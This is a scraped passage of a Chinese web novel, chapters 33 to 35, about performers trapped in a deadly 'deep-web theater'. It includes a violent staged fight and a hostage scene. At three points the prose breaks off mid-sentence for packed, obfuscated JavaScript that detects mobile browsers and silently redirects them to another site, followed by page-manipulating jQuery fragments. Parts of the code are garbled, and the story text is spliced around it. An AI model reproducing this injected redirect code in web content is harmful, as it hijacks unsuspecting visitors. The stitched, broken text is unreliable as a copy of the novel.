;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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奇异的是,她进来之后,反而很久不做梦。不知是因为心结暂缓,还是这个剧场有什么特殊功能。这段时间她的睡眠质量都很不错。 她感到有一些光洒在她的眼皮上。温柔的、明亮的,像是一道柔和的催促,但她还不想醒来。 那是什么时候呢?她躺在那张小床上,通向外面的窗户落下星点日光。那是一个难得的休息日,她们没有任务,可以安安心心睡到食堂开饭的点再起来。也不用担心睡过头,因为会有人来叫她的。 如她所想,如她回忆,一只手盖到被子上,轻轻拍了拍她的后腰。也许那个人还说了什么,又或许没说,她反正是听不见的。 但也不用听见,她总归是在呼唤自己的名字—— 阿舒、阿舒。该起床啦。 见她没反应,那只手略微加大了力度,晃了晃她。嗯……可是感觉还早诶……不去吃午饭也没关系吧?邵吉他们会偷偷帮她们留两份的。 那只手还在敦促她。好讨厌呀,把那个人一起拉下水就好了! 她迷糊着向前伸手,果然抓住一层布料。她用力一拽,那个人果然猝不及防前倒,一头撞上她床铺边缘。 你也一起来睡个好觉吧?平时那么辛苦,偶尔也要给自己放个假嘛。 队长。 她摸索着,从侧脸到肩膀,再到胸口。你长大了吗?她在朦胧睡意中很困难地思考。是因为过去了很多年吗?可是我应该也长大了,我们应该一样呀。 算了,好累啊,不想了。她遵照着从前的习惯,如同本能,将耳朵贴上那个人胸口,却没有听见心跳的声音。她惊了一惊,像高空蹦极的第一秒,脑子里空白了一下,才想起来自己已经听不到了,所以这是理所应当的。 她又换了个确认的方式。她向上摸索,手掌贴住那个人的颈动脉,以此为坐标,将侧脸贴了上去。那里蓬勃而稳定的脉搏跳动着,震动顺着脸颊传进大脑,告诉她活着的讯息。 她安下心来。她抱着那个人蹭了蹭,确认还健康地活着,皮肤上的温度源源不断传进她的身体,世界上可没有比这更好的抱枕了。 晚安——不,早安,米薇。让我们再睡一会吧。 33. 第 33 章 【某年某月某日,叁水市明光区,无名巷子某楼二层】 目送顾客离开后,办公桌后的女性盯着桌面,若有所思地说:“你可以进来了。” 老旧窗户给推开的嘎吱嘎吱声震天动地,那里跃进来一道人影。那是个年轻男性,黑发,刘海有些长,稍微遮住眼睛,他噙着一抹笑,嘴角的弧度狂野落拓,露出森森白牙。 “你这窗户得修修了,老板。”他语调轻松,好像从二楼外翻窗进来是件再正常不过的事。 心理咨询师声音平淡:“那就是为了防你们这些会从窗户爬进来的人。你听到了多少?” 一瞬间,男性在考虑自己的回答:如果不合这位的心意,他是不是就会丢掉小命了? 他说:“没多少,差不多从她说想回去那个什么剧场开始。” 他保守地选择了一个诚实的回答。在这位面前撒谎,和自杀也差不多了。 咨询师说:“那是最有趣的部分。” 幸好,她似乎没有要追责他的打算。男性松了口气。 “虽然我不清楚当年他们给你这个代号是出于什么原因,但现在看来,应该是因为你就像磁铁一样,总能吸引很多麻烦。” “——麦声。” 她清晰且准确无误地叫出他为自己取的名字。 麦声皱起眉,但仍在笑着:“怎么这样说,老板?” “你这次介绍来的人,处理不好的话会是大麻烦。”心理咨询师说,但她看上去也并不是很担心的样子,“她是你的什么人?前女友?还是你素未谋面的姐妹?” “老板说笑了。我倒是想,可惜人家对我没兴趣。”麦声故作遗憾。 咨询师只是静静地看着他。片刻后,麦声摸摸鼻子,率先移开目光——他总是有些畏惧这位的视线。“我们是从一个地方出来的。所以……总得互相帮助吧。” “说真的,我也从来没见她状态那么差过。老板你应该能理解吧?有些人你不会怎么联系,三五年也不说一句话,但你知道Ta对你来说是和别人不一样的。如果有事,你得帮Ta。反之亦然。” 咨询师点点头,“听起来,你们是没有血缘关系的家人。” 这精确的概括让他一愣。麦声笑了声:“家人……或许吧。” “毕竟世界上,只有我们这几个人是一样的。都是异类,不互相帮忙,实在没办法好好活下去呀。” “他们又不肯像我一样。那我也就只好尽力帮帮他们咯。”他耸耸肩,咨询师端详他片刻,说:“明光区的生活不会适合每一个人。” “我知道——我知道。所以我也不会说让他们像我一样。”麦声说,“对了老板,我也说了,她对我来说是蛮重要的,所以你能不能跟我透露一下,她这是个什么麻烦?” 他对着咨询师俏皮一眨眼,年轻大男孩的青春活力尽显。咨询师无动于衷,不过她还是说:“她和深网剧场有不一样的联系。” “那个随机选人进去演戏的奇怪地方?她不是被随机抽中的倒霉蛋吗?” “我本来也以为是这样。不过,从她刚刚的话来看,没那么简单。” 麦声洗耳恭听。“从那里出来后,出现各种心理问题是很正常的,她前面出现的症状完全正常。不如说没出现这些症状才不正常。她已经算把自己调整得很好的了。” “我以为她的症结在于剧场里的恐怖经历。她对黑暗和密闭空间都有PTSD,是吗?” 被点到,麦声点头,“一直这样。” “可能是剧场的经历放大了她的恐惧,才会一时无法回归正常生活。也就是说,她的噩梦就是她痛苦的根源。……但不是这样。” 咨询师陷入沉思。半晌,她再度开口:“你也听到后面了。你有没有感觉到,她对那些‘美梦’的印象,要比噩梦鲜明得多?” “也就是说……” “她的执念,或者说潜意识的根源,在她的好梦里。而不是通常的噩梦。这真的很有意思。” 麦声心中蓦然升起一阵荒谬感。但诡异的是,他意识到对方是对的。 “我从没见过这样的事。目前来看,她恐怕要为了一个梦境再次赌上生命挑战。” 咨询师说完,示意他没事可以离开了。麦声也不愿多打扰她,在临出门前,他忽然想到一个问题。“老板,要是我被那个深网剧场抓进去了怎么办?” “不用担心。你不会的。” 这么笃定,他都快要怀疑她是剧场参与者了。不过,那是不可能的。叁水市明光区,从来不和这些事情扯上一点关系。 也许是为了让他放心,她难得多说了一点:“你不是没有植入过芯片?那就没事。” 看来不做一个融入社会的正常人,还是有不少好处的。 从楼里出来,麦声从口袋里取出一只手环,登上假账号,给自己买了一张十天后前往冀湖市的悬浮列车票。 ***** 让我们把时间倒回舒觉睡过头的那个早晨。所有人都起了,甚至曲语冰都打着呵欠开始往乔木摊的卷饼上倒辣酱,舒觉还是不见踪迹。 祝时明坐在桌边,等了半天,他忍不住开口:“舒觉还没醒吗?” “不知道呢。我下来的时候看她门关着。”曲语冰很快接话。 但这句话和废话也没什么区别。不管舒觉在不在房间,她的门都一定是锁上的。 乔木拧着眉坐在桌边,喝他的养生茶,闻言说:“确实有点奇怪。她不是一般都会准时下来吃早餐?” 他拧眉大概是因为觉得舒觉会浪费他的早饭。但话又说回来,他觉得舒觉也不是会浪费粮食的人。如果她没有提前和他说不吃,那就是会过来解决她那一份。 所以,今早确实有点奇怪。曲语冰浑然不觉,他随口说:“只是赖床吧?偶尔也会有这种情况嘛,就算她是舒觉。” ……这句话到底是什么意思啊。乔木又喝了一口养生茶。话虽如此,不过这种异常情况,可能还是要—— “我去看一下!” 第一个等不及的,果然是这位。祝时明匆匆起身,几步上楼了。乔木一转回头,就看见曲语冰一脸尽在掌握的笑容,不得不说,那有点欠揍。 “既然有人主动请缨,那我们也就不必担忧啦。”他咬下一口裹满辣酱的卷饼,一点一点细致咀嚼。 乔木不大赞成地说:“但他毕竟是男性——” “那又怎么?难得你觉得舒觉会被他占便宜吗?”曲语冰装作震惊地瞪大眼睛,“拜托,就算你不相信小明的人品,也要相信舒觉的战力吧——她可是能手撕我们的诶。” 这个莫名其妙的谣传究竟是从哪里来的。不过,正如他所言,他的确没什么好担心的。乔木便也放过这茬,他只希望祝时明不要慌乱过头弄出乱子。从他刚刚的背影来看,这很有可能。 忽然,手环的滴滴声响彻。曲语冰抬手看了眼,笑着说:“又到我演绎了。” 我早餐还没吃完呢。他半真半假地抱怨一句,身形就消失在这方空间里。乔木看着他留下的半张卷饼,最后拿了个盖子扣上。如果他演完还能有胃口的话,这剩下的早餐还可以续一续。 不过,他大概不会再想吃。 ***** 【剧目:岛】 【演员甲:曲语冰】 【演员:邹摇光、邹玉衡】 人偶向着双胞胎,如海涌去。 这个距离枪是不顶用的,邹摇光干脆一把拔出长剑,振臂砍杀;同时她向弟弟呼喊:“稳住!等我过来!” 邹玉衡没那么好装备,只有一把小刀,对付铺天盖地的人偶难免力不从心。 何况,他视线快速扫过那些人偶,明明知道自己应该寻找他们的弱点,目光却一而再再而三向他们的面孔游去。曲语冰的故事在他脑中止不住回荡,每一个字、每一句话都像一把锤子,用力砸下去,要把真实凿出来。 越是看,越感到他们的面孔是触目惊心的熟悉。他挥开刀刃,却无法用尽全力:他像在刺杀他的姐姐、妹妹、母亲、父亲。 他的亲人。 他的亲人? 邹摇光的声音刺破帷障,“邹玉衡!你听得到我在说什么吗!右边!” 邹玉衡下意识一次。不知刺中哪里,一个人偶应声倒地。没有惨叫,没有呻吟,那种非人的感觉终于让他清醒过来:这里除了他们三个,不再有活着的生物。 邹玉衡眼神坚定起来,他再一次刺出刀刃—— “咻”,剧痛从左膝传来。邹玉衡一个趔趄,他猛地抬头,看见曲语冰手里漆黑的、沉重的弩箭。人偶师面容平静,仿佛刚刚暗下杀手的并非是他。 “玉衡!”邹摇光尖叫一声,她手中长剑划开,一道雪亮的锋芒如同残月倾倒,生生震开了周围一圈人偶。她趁着这空当向自己的弟弟跑去,为他击开扑上来要撕扯他的死物。 又是一声。邹摇光条件反射趴下,另一支弩箭飞过她耳侧,击穿了壁上烛灯。火烛噼啪作响,应声而落,地上卷毯开始冒起热光。 但没人顾得上这个。曲语冰扳动扳机,一支接一支的黑芒飞出,邹摇光勉力击开,还是不慎被擦伤了手臂。 她低头一看自己胞弟,他已是脸色惨白,鲜血接连不断从膝盖处渗流而出——颜色并非鲜红,而是深沉的异色。 有毒。 邹摇光心中一刹闪过这念头,便感到一阵头晕目眩。她手臂用力在地上撑了一下,才没摔倒。 不知何时,人偶都已经四散零落。看来他的操纵也是有极限的。 曲语冰放下弩箭。没了人偶掩护,近距离下他拿弩也占不到什么好处。他拔出一旁壁龛里的西洋剑,生疏地挥舞了几下。 不等他如何,邹摇光抢先一步上前,剑光如狂潮,正面劈向他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663523|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲语冰勉强躲开这气势汹涌的一剑,他抬起自己的剑,格挡、劈砍、前刺、横开! 一番你来我往,不知不觉中,周围的火势越来越大了。火舌蜿蜒着,爬满斗室壁纸与灰尘。温度逐渐升高,汗水顺着下颌与后背淌下,沾湿,很快又被烤干。 他们像在火中跳舞。这或许是世界上最危险的双人舞——踏着越发缩小的地面,舞步踢踏旋转,避开迸发的火焰,刀光铿锵是舞曲的鼓点。没人身着正装,只有越流越多的血和切开的皮囊。 尽管门口大开着,但没人想要离开。邹玉衡已经站不起来了,尽管他的右腿被洛珠的许愿恢复。他在地上缓慢爬动着,向他姐姐靠近。 “姐姐……姐姐……” 他已经神志不清了,只是凭借本能在喃喃。两个人都没空注意他,斗得旗鼓相当。 曲语冰踏前一步。他终于从防守转向进攻,邹摇光也暂避锋芒,她死死瞪着他,呼吸紊乱,不正常的青紫色从她的脖颈爬向面颊。 四周火光蔓延,炽热的魔鬼在向他们伸出长舌,高温炙得人浑身干痛,这间屋子从未如此明亮,几乎炽伤视网膜,但在这明亮中,却是死亡。 他们已经无路可逃。 曲语冰正要继续进攻,抬起脚时却发现纹丝不动。他低头一看,邹玉衡抓住他脚踝,不知哪里来的力气,犹如老树扎根,他丝毫动弹不得。 就是现在! 邹摇光拼劲最后一丝离力气,高高跃起,迎面砍下! ——长袍迎风飘起,在剑锋下一分两半,里头轻薄底衣下的皮肉绽开鲜红的长痕,如同落石击开酒液的涟漪。 但不够。曲语冰还能站着。他面露痛苦之色,但一声也没叫,只是反手一刺,洞穿了邹玉衡背心。 双胞胎里的弟弟浑身一颤,不动了。邹摇光也无力再站起,她中毒太深,刚刚还能和他缠斗简直是个奇迹。 在滔天火海中,曲语冰望着倒在地上的邹摇光。那女孩已经遍身是伤,翻卷的血肉被火焰炙出焦黑腐烂之色,连惨叫都发不出来,她只是急促地呼吸着、咳嗽如同断裂的齿轮。 曲语冰自己也好不到哪里去。没错,他是赢了,但很难说得上是体面。经过刚刚那一番搏斗,他脸上给划开一道口子,鲜血顺着颧骨、下颌、直至脖颈,像一道蜿蜒的泪痕,他却恍若不觉,并不伸手去擦。身上也是大大小小的伤口,尤其是左手格挡那一下,骨头茬子从皮肤里乱刺出来,每动一下都是钻心彻骨的疼。 但他还是一步步慢慢往前走,仿佛他完全感受不到疼痛。曲语冰走到邹摇光面前,踉跄一下。“扑通”一声,他跪倒到地上,与她平齐。 他伸出一只手,钳住女孩下颌。他长久地凝望着她,火舌在他们身边狂舞,物体被焚烧的“噼啪”声不绝于耳,高温熏得人眼睛发疼、流下泪来,却在下个瞬间便蒸发殆尽。 而这一切都像是遥远回声的倒影,曲语冰仿佛什么也感觉不到,他只是看着邹摇光,直视她的双目,就像要刺入她的灵魂。 最终,他动了。曲语冰举起右手,他的声音居然是平静的。 “你满意了吗?我的人生被你毁掉了。” 他猛地刺下,玻璃碎片插进邹摇光的眼珠里。 ***** 看着剧终显示,乔木关上光幕。他开始收拾餐桌,准备午饭。 又是一个杀害他人的演绎。继洛珠之后,下一个被迫使举起屠刀的,是曲语冰。 也幸好是曲语冰。 如果让那对双胞胎任意一人来演,乔木不敢肯定他们能否狠得下心。但对曲语冰来说,这并不困难,他一剑刺死邹玉衡的时候,眼都没眨。他是有这样的决意的。 而且,他的演技实在是提升不止一个层次,简直可以说是飞跃了。在这最后一幕里,他的演绎出彩得惊人,简直像—— 简直像真的一样。 不过,乔木觉得他还是处理得有些平淡了。最后的时刻,他居然没有表露出任何恨意。 不如说,他的面容上,甚至还带着一丝慈悲。 真奇怪。他觉得这个角色,不恨那些毁了他生活的人吗? 乔木不清楚。他不算情感特别细腻的类型,尽管外表看上去会让人有这样的联想。 话说,这集还演了挺久的,祝时明还没带着舒觉从楼上下来。不会真出什么事了吧。 短暂考虑了一下,乔木还是上楼,去看看情况。他走到舒觉门口,注意到门没锁。 他摁下门把手,便走进去边说:“你们——” 话头戛然而止。乔木难以置信地盯着眼前的画面,疑心自己是眼花了,但一次、两次,反复眨眼后,场面还是没有丝毫变化。 他现在有点后悔了。他该带个锅铲上来的。至于要锤在谁头上,他还在考虑。 乔木面无表情地说:“你躺到她床上,是想干什么?” 34. 第 34 章 我可能太自私了。 想当然就认为要选他们,但说实话,这和把他们往火坑里推有什么区别?上一轮演绎遭的罪还不够吗?根本就没有人是完整出去的。 而我居然还想要让他们在承受一次。 这样做,和他有什么区别?为了自己的欲望、为了自己的想法……操控了别人的命运。 我真不知道我在想什么……这压根就不是一个选对同伴大家就能和睦通关的游戏。要是这样,我就知道该怎么做。 这是一个选对了同伴、我们也会遍体鳞伤的焚场。 退一万步来说,就算我真的选择他们进入这一轮,他们就一定能想起我吗?他也给我看了,他们都回归各自生活里,根本就没有我存在的位置。 既然如此,选择他们和选择别人,又有什么不同? 我当然知道,这是个概率问题。选择他们,成功想起我的概率会大一些——但也大不了多少。我知道。 这个世界上,已经没有人记得我了。 我想活下去。我想出去。我不想所有人都忘记我。我想像从前几十年那样,拥有普通的、正常的生活。哪怕以前我并未多珍惜。 但为了自己能活下去,就可以伤害别人吗?我的明天,必须要播种在别人的痛苦和牺牲上吗? 他们明明是我最不想伤害的人。 ……我想不明白。但最后期限就要到了,我必须给出一个名单,即使那是空白的。 如果、我是说如果,有那么一丝可能…… 即使她已经不记得我,却还能记得要回来,带我出去的约定呢?即使忘却了主体,是否还能记得承诺的内容? 我也知道自己是在痴心妄想。都忘了约定的对象,又怎么可能记得要做什么呢。 但是,如果…… 不,不要想了。我再去问一次吧。能不能再让我看一次外面的世界。 即使我不愿意将你写入名单,就意味着我们再也无法相见—— 我也想再看到一次,你的模样。 ***** 纵使乔木并非单身狗,也实打实被眼前这景象震撼了一把:窗子打开,室外阳光正好,一片金叶子样洒在床沿与被单,零散地照亮两人的侧脸。女孩伸出双臂,紧紧拥抱着青年的身体,她的侧脸贴在他颈侧,轻声的呼吸与血液脉动互相应和,看起来正在做一个好梦。 他们看上去像是已经共度数年光阴,彼此已经熟悉到这般亲密。她姿态依恋、自然、如同同巢的鸟儿,密匝匝依偎在另一只身上。 如果忽略青年红得可疑的耳根和脸、不知放到何处的手,放到八点档那是换台前都要随一句99的程度。但这不是八点档,这里是深网剧场,乔木也不爱看肥皂剧,只是之前和女朋友一起看过几集。 乔木语气严肃:“解释一下。” 听起来祝时明要是没有理由,他将会判他十年监禁,或者在判决之前先给他来两锅铲。 听到这句话,祝时明脸上的表情既微妙又复杂,大概是63%的拼尽全力无法战胜、12%的无可奈何、5%的羞涩(?)、8%的摆烂以及剩下零零总总的情绪,总结来说就是“乔木大老爷我冤枉啊”这一意思。 他说:“她拽了我一把,我摔到床上,然后就这样了。” 乔木一脸不赞成:“这就是你抱着她在躺一张床上的原因?那你不会挣扎一下?” 祝时明无奈地说:“我倒是想。” 乔木可不觉得他真想。他视线下移,在被子半盖住的下半边,舒觉的双腿柔韧有力地缠住了祝时明的,所有关节和发力点都卡得死紧,如同捕食的蟒蛇绞住猎物。仔细看,她的手臂也遵循同一原则,简直是标准的柔道绞杀体式。 不愧是舒觉,就算是睡眠状态,战斗力仍然不可小觑。乔木肃然起敬,他不由对祝时明多了两分同情。“你多动几下她应该就醒了。” 祝时明迟疑一下,说:“那会弄痛她吧。” 不是,等下。乔木又一次感觉心灵被震慑,搞半天他不挣扎,就是在考虑这个问题?现代青年人里有这样心软柔善之士,可见他们这一代人还是十分有希望的。 就在这当口,舒觉睫毛动了几下,她慢慢睁开眼睛。她面上犹带刚睡醒的怔松,视线缓慢游移几下,四肢缓缓松开,总算放过禁锢祝时明。 她将侧脸从他颈侧移开,向后退去,这才看清枕边人的面孔。祝时明睁大了眼睛,他看上去相当紧张,且不知所措。 出乎他们意料,舒觉什么也没说,什么也没做。她翻身坐起来,伸了个懒腰,又打了个大大的呵欠,就迈腿一跨从祝时明旁边下去了。 不仅如此,她丝毫没有尴尬或者被惊吓的神情,好像一觉醒来身边睡了个人是件稀松平常的事。乔木推测应该是她还没完全清醒,反射弧还没走完。 她谁都没看一眼,踩着拖鞋就去卫生间洗漱了。祝时明赶紧一个鲤鱼打挺坐起来,他看上去也不知道该如何对付这不走寻常路的发展。 乔木默默看着关上的盥洗室门,他忽然没头没尾地甩出一句:“中午了。” “嗯?”祝时明不解。 话音刚落,他就看着乔木转身,开门,一步出门去。他背影写满毅然决然,还有“你们两个人的事你们两个人自己解决吧我就不做电灯泡了”这一意思,祝时明还没来得及喊住他,门就关上了。 祝时明目瞪口呆。他弱小、可怜、又无助地坐在舒觉床铺上,满脑子只剩下了该如何解释才能让舒觉相信他不是大野狼的念头。 天地良心,他真的没想做什么啊! 另一边,舒觉换了套宽松衣服,洗漱好出来了。她一边调整着丝绒颈环的松紧,一边以平常的口气说:“早。乔木给我留了饭吗?” “嗯,啊。”祝时明发出几个肯定的音节。 “挺好。你们是看我今天没起来,打算来叫我吗?” 她走到一边,倒了两杯水,放到床边待客的圆桌上。祝时明赶紧站起来,挪到桌边,“嗯。因为你没睡过头过,乔木担心会不会出什么事。而且他不想早餐被浪费——” “那你不担心我吗?”舒觉打断他,内容像在逼问,口气像在话家常。 祝时明呆住了,他连忙猛烈摇头,“不是!我也——” “谢谢你。”舒觉又截断他话头,她喝了口水,“抱歉啊,把你捆到床上。你没哪里不舒服吧。” 这句话真是很容易引起误会,但反正这里只有他们两个人,舒觉就随便说了,能听得懂就行。祝时明总算镇定下来一点,他说:“没有,我没什么事。” “这样,那看来我要再练练了。”舒觉叹声气,仿佛饱含遗憾似的。 祝时明又被吓了一跳——他感觉他今天心率就没有从160下来过——“练、练练?” “别担心,我不会拿你当试验品的。”舒觉含笑看他,“当然,也不会找别人。” 祝时明松了口气。他坐回去,舒觉看着他这样一惊一乍,觉得真是有意思极了。虽然她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672576|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么男女游戏的经验,但祝时明实在表现得太好懂,她基本是手拿把掐。 她缓缓说:“我有说什么糟糕的话吗?” “嗯?”祝时明问,“说梦话吗?” 舒觉颔首。祝时明注视她片刻,这会儿他反而镇静很多,恢复了平常稳定状态。 他说:“没有。” 那就行。看来以前的训练也没全忘掉。舒觉起身,没留意到自己对他的话语下意识就选择了相信。 祝时明如蒙大赦,跟着她一起下楼去了。 ***** 今天她起迟了,但剧目开演并不会等她。舒觉简单吃了点早餐,没多久,甚至等不到乔木开饭,就被拉进舞台空间演绎去了。 此刻,她坐在一个废弃木箱上,和应如观面面相觑。这次的布景是一处旧厂房,空气中灰尘弥漫,只有最上方斜斜开的一道窗里有阳光透进来。 一柱阳光下,两个人都快速确认着剧本和台词。多亏了苏彦换来的那五分钟机制,演绎比之前真是要轻松不少,虽然时间不长,总也比毫无准备要好得多。 应如观忽然说:“可以请你帮我个忙吗?” 舒觉愣了一下。她已看完剧本,全部台词和要求记在脑中,并不觉得有什么应如观会需要她帮忙的情节。而对方深思似地说:“我想修改一下结局。” 舒觉有点不敢置信。她是知道的,在一定范围内改动剧本内容,不一定会受到惩罚——但这个界限太模糊了,他们一般也很少敢钻这个空子。 见她没反对,应如观很快将自己的想法说了。舒觉思考了一下,说:“我可以做这个。但您确定可行吗?” 应如观说:“幕后。这一幕结局可以这样改吗?” “二号响应。经确认,允许此次改动。” 那就没问题了。 他很胆大——准确来说,是他把规则吃得很透,也懂得利用向幕后提问这一机制,最重要的是,他吃透之后还懂得如何利用规则,这种能力并不是每个人都能拥有的。 她不禁感叹:“应医生读书成绩肯定很好。” 闻言,应如观略显惊讶,他回答:“算不错吧。毕竟有奖学金的吸引。” 听起来他就是那种系里天天排第一拿奖学金拿到手软的风云学长。舒觉不太清楚奖学金在大学里是怎么运转的,只是凭借刻板印象在猜。 “不过,原版其实对您更有利吧。”舒觉说,“改了之后,您会被我——” “对我来说,改了之后会让我更能接受。”应如观温和地说,“比起伤害别人,还是承受被伤害更简单一些。” 这种人在他们之中,似乎不是少数。不过,她没想到应如观也是这样的思维。舒觉又问:“您是怎么知道可以调整演绎内容的呢?” “自从上次的演绎后,我就一直在思考,要怎么样才能把演绎对大家的损害降到最低。我问了很多次,确定没有不准修改剧本内容的规则,那么反过来想,就是可以的意思。” “规则无禁止皆可为。目前来看,这个剧场是这样运转的。”他说,看上去不像说谎。 他应该是第一次进到这里来,居然能那么快想到这一层,实在是很了不起。他们上一轮到很后期才领悟这一点。 舒觉不由对他生出几分敬佩。这是真正的高端选手,如果能的话,她希望能把他拉到自己这边来。 不等她想要怎么操作,演绎开始的提示音便响了。 【白日堂皇】最后一幕,开演。 35. 第 35 章 【剧目:白日堂皇】 【演员甲:舒觉】 【演员乙:应如观】 【演员丙:姜满】 【演员丁:苏彦】 姜满全副武装,孤身一人。 阴暗仓库里,她在不同的遮挡物间转移,确保自己的方位不会被瞄准。这一长段镜头里,她毫无犹疑,动作干练,身法利落,任谁看来都认为她是位经验丰富的警察。 最终,前方是毫无遮蔽的空地,她暂且在一个箱子后躲起来。她调查过,这里只有那个绑人的法医进出过,不会有更多人。人质和绑匪会在哪里? 徐青木和高黎,他们会在哪里? “张警官,别来无恙。” 一个温润的声音在空旷的灰尘间响起。姜满没有露头,她静静等待,寻找声源,确定应如观的位置。 “不用藏了,我看见你在箱子后面了。”他接着说,声音像是来自高处,“我没有枪,你可以放心走出来,我没打算和你为敌。” 姜满仍然没做声。应如观等了片刻,声音还是那样温和安宁的:“如果你不出现的话,我就只好把你想要的人质杀掉了。” 这并不是姜满最不能接受的情况,但她也能不能完全无视一条人命。姜满深呼吸几次,说:“我和你谈。” 她握紧配枪,走了出现。暗淡的室内,她走到唯一一柱阳光里。应如观就站在她上方对面,自二楼居高临下,望着她。 他臂弯里钳着她要营救的那个女孩。舒觉毫无反抗地被控制在他怀里,双目无神,脖颈边横着一柄短刃。姜满毫不怀疑,一旦谈判失败,那柄凶器会在瞬息间划开她的喉咙。 “我会听你说。你不要伤害她。”姜满快速地说,双目不动声色巡视,企图找出一条营救的道路。 应如观当然注意到了,他没点破,只是说:“我打算和你做个交易。” “你想要通过徐青木查到复苏的人口贩卖组织,把他们一锅端对吧?我可以帮你抓到他们的头领。在这件事上我没有阻止你的理由。” 说得好听。“那你的条件是?” “我没有绑架过任何人,只是愿意帮助你们的线人。到目前为止,徐青木失踪这件事你都瞒着局里,你可以继续瞒下去。” 这件事他是怎么知道的?她的确没有把徐青木失踪一案上报——如果被局里知道,在她手下重要线人失踪了,她肯定要吃很大一个处分,保不齐要停职,这个案子她也不用再参加。这是她不能接受的。 徐青木这个人,局里出于各种原因都盯得很紧,到现在为止,她生活的各方面都被限制得很厉害,可以说是活得毫无自由。她失踪不过几天,在姜满尽力隐瞒的情况下,也已经有人开始起疑了。 心念电转,姜满说:“我凭什么相信你?” “我和你一样,都对那个组织深恶痛绝。”应如观说,“我并不想再伤害任何人,但很不幸,我被他们威胁,不得不带走这位徐小姐。相信我,绑架一个未成年的女孩子绝非我所愿。” “她身上有什么你们想要的东西?” “没有我想要的。至于他们想要什么,目前我也不清楚。你可以在抓到他们之后问个清楚。” 双方暂且陷入沉默。姜满有枪,她枪法很好,有自信在这个距离命中应如观要害;但人质还在他手中,而且不知道这个仓库里还有什么布置,她无法应对。 以目前的局势来看,她装作徐青木从未失踪过,这女孩只是私下和高黎联系以获得人口贩卖组织的情报,并且三人约定在这里见面并交换信息——这样的故事更好听、更和平,写出来能让所有人都满意。 然而,姜满冷笑一声。她拔出枪,动作犹如一道闪电,对准应如观,枪响震荡空气! 不需要自夸,她的枪法确实老练。然而应如观像有所预料,他拉着舒觉躲开,那颗子弹险险擦过他身侧。子弹撞击在身后的金属废弃物上,发出清晰的声响。 姜满并不打算给他反应的机会,她连开数枪,子弹几乎是追着他在飞。应如观面色阴沉下来,他暗骂一声,一把将舒觉推开,厉声喝道:“Animus-1,找个地方躲起来!” 闻言,舒觉出现了一点反应:她抬起眼睛,接着犹如猎豹般窜了出去,消失在仓库箱子重叠的阴影里。 应如观来不及下楼,在姜满换弹的间隙,他翻过栏杆,径直从二楼跃下! 他就地打了个滚,眨眼间便逼近姜满!警官手上动作不停,猛地向侧闪开! 下一秒,子弹出膛的爆响充斥整间仓库,两人身形交错、再分开,谁也没讨到好处。 姜满匆匆一抬头,舒觉已经不见踪影。如她资料猜想,这女孩被精神控制了。不是现在,而是从很久之前。 她父母也真够狠心。这念头只是一闪而过,她没时间思考这些了——应如观的刀锋已经袭来。 他用起那把短刀,如臂使指,远不是粗糙挥舞长剑的曲语冰和双胞胎可比。不需要多少知识,姜满也清楚,他绝对是练过的。 话说回来,一个法医,要那么好的身手干吗? 两人又在混乱的仓库里缠斗起来。应如观仗着生理优势,渐渐追上姜满;但姜满手中有枪,又很熟练,他也不敢逼得太紧,空间太小躲闪不开。 “张队,我找到她了!” 有人高声喊道,从上空直冲而下。两个人动作均是一顿,几乎同时向二楼看去。 苏彦站在那里,他身边牵着一个女孩。舒觉双目无神地随他带动,俨然毫无灵魂的人偶。 姜满喜形于色,“干得漂亮!” 应如观却没如她预想,脸色几乎不变。如果牵强一些,甚至能说他松了口气。 一时间,两边都没再动作。姜满抹了下脸颊沾上的血——应如观不是闪电,刚才有几发子弹是命中了的,只是现在还看不太出在什么部位。 “你知道我为什么不会相信你吗?”她说。 应如观愣了一下,显然是没想到她会提这个。姜满冷笑说:“五年前,就是你杀了我弟弟!” “我怎么会和一个杀人犯合作?”她声音骤然低沉下去,咬牙切齿。 应如观皱了下眉,不知是因为什么。他说:“我没杀过比你小的男性。” 姜满自然是不会相信这种话。给人口贩卖组织卖命的恶魔,有什么信用可言? “所以,你从一开始就在骗我。”他平静地陈述。 姜满点了下头。应如观说:“你大概也觉得我在骗你。很遗憾,我和你一样,并不喜欢这个组织。但它帮我报了仇,我必须还债。” 五年前烧死他一家人的那场火。若如他所说,只怕是另有隐情。但没有人会感兴趣。 理所当然。除了受害者本人,谁会关心一场事不关己的悲剧? 就在两边僵持时,二楼忽然传来一声惨叫。那是苏彦的声音:“你怎……” 姜满望去,瞳孔骤然一缩:苏彦捂着腹部,痛苦地瘫倒下去,舒觉手中握着从他腰带上拔出的制式刀,那柄刀的前端正深深插入年轻警员的小腹。 她面容平静,手中用力,在一片模糊的血肉中旋转。鲜红的颜色蔓延开来,她的手指依然稳定,无论是活人的悲鸣、刺鼻的锈味,还是刀子深陷入皮肉传来的阻隔感,没有任何一个要素能够让她动容。 姜满还没来得及喊出下属的名字,应如观抓住空隙,猛冲过来,一把将她摁倒在地! 枪声乱响几次,没有击中。 在飞速下降的视野里,姜满只看见舒觉如春燕飞来,轻盈地从二楼落到地上。她看上去比方才的应如观还要更轻松灵动几分。 右手一痛,应如观意图掰开她的枪,姜满 